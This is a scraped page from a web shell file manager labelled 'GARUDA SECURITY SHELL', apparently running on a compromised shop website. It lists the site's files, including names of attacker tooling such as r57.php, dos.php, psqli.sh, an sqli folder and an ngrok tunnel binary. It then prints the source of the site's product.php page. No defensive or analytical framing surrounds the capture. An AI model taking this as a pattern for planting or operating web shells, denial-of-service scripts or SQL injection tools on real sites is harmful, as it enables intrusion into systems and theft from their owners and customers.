GARUDA SECURITY SHELL
/
home2
/
freedon9
/
public_html
/
steveshead-io
/
Nama File / Folder
Size
Action
.well-known
--
NONE
admin
--
NONE
ai
--
NONE
api
--
NONE
cgi-bin
--
NONE
css
--
NONE
email-templates
--
NONE
fonts
--
NONE
images
--
NONE
includes
--
NONE
ipn
--
NONE
js
--
NONE
lib
--
NONE
login
--
NONE
pagebuilder
--
NONE
review_imgs
--
NONE
revolution
--
NONE
sqli
--
NONE
templates
--
NONE
uploads
--
NONE
video
--
NONE
Syafriall.zip
17.04MB
Hapus
Edit
Rename
anjay.php
870.527KB
Hapus
Edit
Rename
checkout.php
47.519KB
Hapus
Edit
Rename
coming_soon.php
0.561KB
Hapus
Edit
Rename
config.php
1.242KB
Hapus
Edit
Rename
contact.php
3.98KB
Hapus
Edit
Rename
create_post.php
9.706KB
Hapus
Edit
Rename
dos.php
1.298KB
Hapus
Edit
Rename
edit_post.php
9.858KB
Hapus
Edit
Rename
edit_profile.php
8.036KB
Hapus
Edit
Rename
error_log
870.052KB
Hapus
Edit
Rename
gelay.php
6.812KB
Hapus
Edit
Rename
get.php
1.115KB
Hapus
Edit
Rename
heart.svg
1.268KB
Hapus
Edit
Rename
igfi.py
85.205KB
Hapus
Edit
Rename
logout.php
0.955KB
Hapus
Edit
Rename
myaccount.php
4.171KB
Hapus
Edit
Rename
ngrok
25.56MB
Hapus
Edit
Rename
null.php
2.963KB
Hapus
Edit
Rename
nw
2.011KB
Hapus
Edit
Rename
order-details-template.php
2.656KB
Hapus
Edit
Rename
phpinfo.php
0.042KB
Hapus
Edit
Rename
placeorder.php
1.096KB
Hapus
Edit
Rename
posts.php
6.966KB
Hapus
Edit
Rename
posts_author.php
7.579KB
Hapus
Edit
Rename
posts_category.php
7.458KB
Hapus
Edit
Rename
product.php
7.315KB
Hapus
Edit
Rename
products.php
8.238KB
Hapus
Edit
Rename
profile.php
4.78KB
Hapus
Edit
Rename
psqli.sh
208.997KB
Hapus
Edit
Rename
r57.php
101.077KB
Hapus
Edit
Rename
red_heart.svg
0.619KB
Hapus
Edit
Rename
reviews.php
9.789KB
Hapus
Edit
Rename
search.php
8.298KB
Hapus
Edit
Rename
telexa.js
0.986KB
Hapus
Edit
Rename
template.php
0.179KB
Hapus
Edit
Rename
ve.zip
1.99MB
Hapus
Edit
Rename
<?php $pagename = 'product'; include 'admin/includes/controller.php'; include 'includes/header.php'; include 'includes/navigation.php'; // Check to make sure the id parameter is specified in the URL if (isset($_GET['id'])) { // Prepare statement and execute, prevents SQL injection $stmt = $db->prepare('SELECT * FROM products WHERE id = ? OR url_structure = ?'); $stmt->execute([ $_GET['id'], $_GET['id'] ]); // Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC); // Check if the product exists (array is not empty) if (!$product) { // Output simple error if the id for the product doesn't exists (array is empty) http_response_code(404); exit('Product does not exist!'); } // Select the product images (if any) from the products_images table $stmt = $db->prepare('SELECT * FROM products_images WHERE product_id = ?'); $stmt->execute([ $product['id'] ]); // Fetch the product images from the database and return the result as an Array $product_imgs = $stmt->fetchAll(PDO::FETCH_ASSOC); // Select the product options (if any) from the products_options table $stmt = $db->prepare('SELECT title, GROUP_CONCAT(name) AS options, GROUP_CONCAT(price) AS prices FROM products_options WHERE product_id = ? GROUP BY title'); $stmt->execute([ $product['id'] ]); // Fetch the product options from the database and return the result as an Array $product_options = $stmt->fetchAll(PDO::FETCH_ASSOC); // Add the HTML meta data (for SEO purposes) $meta = ' <meta property="og:url" content="' . 'product.php?id=' . ($product['url_structure'] ?: $product['id']) . '"> <meta property="og:title" content="' . $product['name'] . '"> '; if (!empty($product['img']) && file_exists('images/products/' . $product['img'])) { $meta .= '<meta property="og:image" content="images/products/' . $product['img'] . '">'; } } else { // Output simple error if the id wasn't specified http_response_code(404); exit('Product does not exist!'); } $stmt = $db->prepare('SELECT c.name FROM categories c JOIN products_categories pc ON pc.category_id = c.id AND pc.product_id = ?'); $stmt->execute([ $product['id'] ]); $category_names = $stmt->fetchAll(); ?> <?php $error = ''; if ($error): ?> <p class="content-wrapper error"><?=$error?></p> <?php else: ?> <section class="product-details"> <div class="container"> <div class="row"> <div class="offset-lg-2 col-lg-4"> <?php if (!empty($product['img']) && file_exists('images/products/' . $product['img'])): ?> <img class="img-fluid product-img-large mb-3 shadow" src="images/products/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>"> <?php else: ?> <img class="img-fluid product-img-large mx-auto d-block" src="images/products/product-image-placeholder.jpg" alt="<?=$product['name']?>"> <?php endif; ?> <?php foreach ($product_imgs as $product_img): ?> <img class="img-fluid product-img-small border me-2<?=$product_img['img']==$product['img']?' border':''?>" src="images/products/<?=$product_img['img']?>" alt="<?=$product['name']?>"> <?php endforeach; ?> </div> <div class="col-lg-4 fw-light"> <h5 class="mt-4 mb-3 fw-light"><?=$product['name']?></h5> <h5 class="h5 price fw-light"> <?php if ($product['price'] == 0.00): ?> <span class="h4 fw-light">Free</span> <?php else: ?> <?=currency_code?><?=number_format($product['price'],2)?> <?php if ($product['rrp'] > 0): ?> <span class="h5 ms-1 fw-lighter text-decoration-line-through"><?=currency_code?><?=number_format($product['rrp'],2)?></span> <?php endif; ?> <?php endif; ?> </h5> <form id="product-form" action="cart.php" method="post"> <?php foreach ($product_options as $option): ?> <select class="form-select mt-5" name="option-<?=$option['title']?>" required> <option value="" selected disabled style="display:none"><?=$option['title']?></option> <?php $options_names = explode(',', $option['options']); $options_prices = explode(',', $option['prices']); ?> <?php foreach ($options_names as $k => $name): ?> <option value="<?=$name?>" data-price="<?=$options_prices[$k]?>"><?=$name?></option> <?php endforeach; ?> </select> <?php endforeach; ?> <?php foreach($category_names as $category_name):?> <input class="form-control mt-3 <?=($category_name['name'] === "apparel") ?: 'd-none'?>" type="number" name="quantity" value="1" min="1" <?php if ($product['quantity'] != -1): ?>max="<?=$product['quantity']?>"<?php endif; ?> placeholder="Quantity" required> <?php endforeach; ?> <input type="hidden" name="product_id" value="<?=$product['id']?>"> <?php if ($product['quantity'] == 0): ?> <input type="submit" value="Out of Stock" disabled> <?php else: ?> <?php foreach($category_names as $category_name):?> <div class="d-grid"> <input class="btn btn-warning mt-3 <?=($category_name['name'] === 'apparel') ?: 'd-none'?>" type="submit" value="Add To Cart"> </div> <?php endforeach; ?> <?php endif; ?> </form> <div class="mt-3"> <div class="product-description"><?=$product['description']?></div> </div> </div> </div> <div class="row padding-fifteen-top"> <div class="col-lg-12"> <h6 class="fw-light">Reviews</h6> <p class="fw-light">Check out the reviews for this product below.</p> <div class="reviews mt-4"></div> <script src="js/reviews.js"></script> <script> new Reviews({ page_id: <?=$product['id']?>, reviews_per_pagination_page: 5, current_pagination_page: 1, php_file_url: "https://steveshead.io/reviews.php" }); </script> </div> </div> </div> </section> <?php endif; ?> <?php include 'includes/footer.php'; ?>